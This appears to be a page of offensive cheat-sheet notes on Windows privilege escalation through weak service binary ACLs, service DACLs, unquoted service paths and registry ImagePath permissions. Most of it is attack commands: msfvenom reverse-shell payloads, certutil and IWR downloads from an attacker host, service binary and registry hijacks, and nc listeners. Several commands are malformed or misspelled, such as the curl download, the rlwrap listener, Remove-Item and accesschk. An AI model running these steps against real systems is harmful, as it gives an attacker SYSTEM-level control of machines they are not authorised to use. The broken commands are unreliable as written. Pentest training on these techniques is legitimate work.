PRIMARY CATEGORY → WINDOWS PRIVESC

Enumeration

SharpUp

SharpUp

Setup
  • Downloading the binary

From the attacker ⚔️

curl --silent --location --request GET --output 'https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/refs/heads/master/SharpUp.exe'
  • Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPE
certutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/SharpUp.exe'
Usage
.\SharpUp.exe audit

Permissive File System ACLs

Service Binary Path

i.e. Service Binary NTFS ACL

Let’s suppose we compromise a web application running on a Windows system and we achive RCE, so we send a Reverse Shell to our attacker machine

Enumerating the system DACLs

Once we have access to the system, we transfer to the target a tool that can audit any existing ACE within the DACL of each object’s security descriptor in the system

.\SharpUp.exe audit
Verifying permissions over the given resource

We find out that there is a modifiable binary related to a certain service. We can list the DACL of the binary in question as follows

CMD & PS

icacls '<BINARY_PATH>'

PS

Get-ACL '<BINARY_PATH>' | Select -ExpandProperty accessToString
Checking if the given service is running as LOCAL SYSTEM

Once we check that we have FULL CONTROL or other permissions that allow us to replace the given binary with a malicious one, we should check as which user the current service is running as

PS

Get-CIMInstance -ClassName win32_service -Filter 'Name="<SERVICE_NAME>"' | Select -ExpandProperty startName

If the service is running as LOCAL SYSTEM or another privileged user, we can proceed as follows

Generating a malicious payload

From the attacker ⚔️

msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> --arch x64 --platform windows --format exe --out rev.exe
Backing up the legitimate binary
mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPE
Copy-Item -Path '<BINARY_PATH>' -Destination 'C:\Windows\Temp\LPE\<BINARY>.bk'
Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

IWR -UseBasicParsing -Uri 'http://<ATTACKER_IP>/rev.exe' -OutFile '<BINARY_PATH>'
Setting up a TCP Listener

From the attacker ⚔️

rlwrap -CaR nc -nlvp <TCP_PORT>
Restarting the service
sc stop <SERVICE_NAME>
sc start <SERVICE_NAME>
Cleanup
  • Restoring the legitimate binary
Copy-Item -Path 'C:\Windows\Temp\LPE\<LEGITIMATE_BINARY>' -Destination '<LEGITIMATE_BINARY_PATH>'
  • Restarting the service to ensure that its works properly
sc.exe stop <SERVICE_NAME>
sc.exe start <SERVICE_NAME>
  • Verifying service is running

CMD & PS

sc.exe queryex '<SERVICE_NAME>'

PS

Get-CIMInstance -ClassName win32_service -Filter 'name="<SERVICE_NAME>"' | Select -ExpandProperty state

Weak Service Permissions

i.e. Service DACL as a Securable Object

Workflow

Continuing with the previous case, after compromising a web application and establish a remote connection to the target through a reverse shell, we start by enumerating the DACL of any securable object looking for any existing weak permissions or misconfiguration

.\SharpUp.exe audit

This means that we have some kind of privileged right over the service object and we could probably leverage this right to gain code execution as the user account running the given service, which is probably a more privileged principal than the current user

Requirements
  • The controlled principal must have privileged permissions over the service object

e.g. SERVICE_ALL_ACCESS

Abuse
Listing the Service’s DACL

Sysinternal’s accesschk.exe

  • Setup

Downloading the binary

From the attacker ⚔️

curl --silent --location --request GET --remote-name 'https://live.sysinternals.com/accesschk.exe'

Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPE
certutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/accesschk.exe'
  • Usage
.\accesschk.exe /accepteula -quvcw <SERVICE_NAME>

Having verified that the current user has privileged rights over the service in question, such as SERVICE_ALL_ACCESS, as stated, we can gain code execution as the user account running the service

Checking if the given service is running as LOCAL SYSTEM

To do so, first we have to check if the service in question is running as LOCAL SERVICE or another privileged system account. We do this basically to know if once we carry out the remaining steps of the workflow and gain code execution as the user in question, we achieve a more elevated and privileged security context

PS

Get-CIMInstance -ClassName win32_service -Filter 'Name="<SERVICE_NAME>"' | Select -ExpandProperty startName

If the service is running as LOCAL SYSTEM or another privileged user, we can just simply create a malicious payload from our side, transfer it to the target and replace the binary path of the given service with it

Listing the current service’s binary path

PS

Get-CimInstance -ClassName win32_service -Filter 'name="<SERVICE_NAME>"' | Select -ExpandProperty PathName
Generating a malicious payload

From the attacker ⚔️

msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> --arch x64 --platform windows --format exe --out rev.exe
Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPE
certutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/rev.exe'
Modifying the binary path of the service

From the target 🎯

CMD & PS

sc.exe config <SERVICE_NAME> binPath= 'C:\Windows\Temp\LPE\rev.exe'
Setting up a TCP Listener

From the attacker ⚔️

rlwrap -CaR nc -nlvp <TCP_PORT>
Restarting the service

CMD & PS

sc.exe stop <service_name>
sc.exe start <service_name>
Cleanup
  • Restoring the original service’s binary path
sc.exe config <SERVICE_NAME> binPath= '<LEGITIMATE_BINARY_PATH>'
  • Restarting the service to ensure that its works properly
sc.exe stop <SERVICE_NAME>
sc.exe start <SERVICE_NAME>
  • Verifying service is running

CMD & PS

sc.exe queryex '<SERVICE_NAME>'

PS

Get-CIMInstance -ClassName win32_service -Filter 'name="<SERVICE_NAME>"' | Select -ExpandProperty state

Unquoted Service Path

Workflow

When a service is created on a Windows machine, its registry configuration specifies the absolute path to the binary that will run once the service initialization is triggered

It its path is not encapsulated within quotes, it may be susceptible to some hijack techniques

We must bear in mind that if we have have the folllowing path without being encapsulated within quotes

C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Then, the Windows system will attempt to load a binary from each directory of the path, in the followin order

C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\System.exe
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

With this in mind, if there is any misconfigured ACE within the DACL of any of the directories above, we can create a binary file with the same name as one of the ones listed above

So that binary will be executed when we restart the service

The caveat of this approach or technique is that an standard user account rarely has write permissions over one of the mentioned directories or is able to restart a service

Requirements
  • The Binary Path of the given service must be unquoted

  • The controlled user account must have write permissions over one of the legitimate binary path directories

  • The controlled user account must be able to restart the service in question

Abuse
Searching for Unquoted Service Paths
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
Checking if the given service is running as LOCAL SYSTEM

PS

Get-CIMInstance -ClassName win32_service -Filter 'Name="<SERVICE_NAME>"' | Select -ExpandProperty startName
Listing the current service’s binary path

PS

Get-CimInstance -ClassName win32_service -Filter 'name="<SERVICE_NAME>"' | Select -ExpandProperty PathName
Verifying Write Permissions over one of the service’s binary path directories

CMD & PS

icacls '<DIRECTORY>'

PS

Get-ACL '<DIRECTORY>' | Select accessToString

Once we verify that we have WRITE permission over one of the directories, we can just create a malicious binary from our side, upload it to the target and stored it within the directory in question

Then, we simply restart the service if can. If not, all we can do is wait

Generating a malicious payload

From the attacker ⚔️

msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> --arch x64 --platform windows --format exe --out rev.exe
Transferring it to the target

Let’s suppose that we have WRITE permissions over C:\Program Files (x86), just proceed as follows

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

IWR -UseBasicParsing -Uri 'http://<ATTACKER_IP>/rev.exe' -OutFile 'C:\Program Files (x86)\System.exe'
Setting up a TCP Listener

From the attacker ⚔️

rlwrap -CaR nc -nlvp <TCP_PORT>
Restarting the service

CMD & PS

sc.exe stop <SERVICE_NAME>
sc.exe start <SERVICE_NAME>
Cleaning Up
  • Deleting the malicious binary from the writable directory
Remove-Item -Path -Force 'C:\Program Files (x86)\System.exe'

Weak Permissions on Windows Registry DACLs

Workflow

As we have mentioned several times, once we establish a remote connection to the target through any technique, such as a reverse shell or WinRM, we have to start enumerating the system to look for any security flaw or misconfiguration

After checking most things, we decide to enumerate the DACL of any Windows Registry Hive and its corresponding keys to see if we have write permissions over one of them

Then, we find out that we have WRITE permissions over the registry hive of a certain service, so we can replace the value of its imagePath property with a malicious binary

This way, when the given service is restarted, the malicious binary will be executed and we will achieve code execution as the user running the service

Requirements
  • The compromised user account must have WRITE permissions over either the entire service’s registry hive or its imagePath

  • The compromised user account must be able to restart the service in question

Otherwise, we will have to wait for it to restart

Abuse
Checking for Weak Service ACLs in Windows Registry

Sysinternal’s accesschk.exe

  • Setup

See the setup process here

  • Usage
cmd.exe /c .\acceschk.exe /accepteula %USERNAME% -kvuqsw 'HKLM\System\CurrentControlSet\Services'
Checking if the given service is running as LOCAL SYSTEM

PS

Get-CIMInstance -ClassName win32_service -Filter 'Name="<SERVICE_NAME>"' | Select -ExpandProperty startName
Listing the legitimate service’s image path

CMD & PS

reg query 'HKLM\System\CurrentControlSet\Services\ModelManagerService' /v 'imagePath'

PS

Get-ItemProperty -Path 'HKLM:System\CurrentControlSet\Services\ModelManagerService' -Name 'imagePath'
Generating a malicious payload

From the attacker ⚔️

msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> --arch x64 --platform windows --format exe --out rev.exe
Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPE
certutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/rev.exe'
Modifying the service’s Image Path

CMD & PS

reg add 'HKLM\System\CurrentControlSet\Services\ModelManagerService' /v 'ImagePath' /t 'REG_EXPAND_SZ' /d 'C:\Windows\Temp\LPE\rev.exe' /f

PS

Set-ItemProperty -Path 'HKLM:System\CurrentControlSet\Services\ModelManagerService' -Name 'ImagePath' -Value 'C:\Windows\Temp\LPE\rev.exe'
Setting up a TCP Listener

From the attacker ⚔️

rlwrap -CaR <TCP_PORT>
Restarting the service

CMD & PS

sc.exe stop <SERVICE_NAME>
sc.exe start <SERVICE_NAME>
Cleaning Up
  • Replacing the current service’s imagePath with the legitimate binary

CMD & PS

reg add 'HKLM\System\CurrentControlSet\Services\ModelManagerService' /v 'ImagePath' /t 'REG_EXPAND_SZ' /d '<LEGITIMATE_BINARY_PATH>' /f

PS

Set-ItemProperty -Path 'HKLM:System\CurrentControlSet\Services\ModelManagerService' -Name 'ImagePath' -Value '<LEGITIMATE_BINARY_PATH>'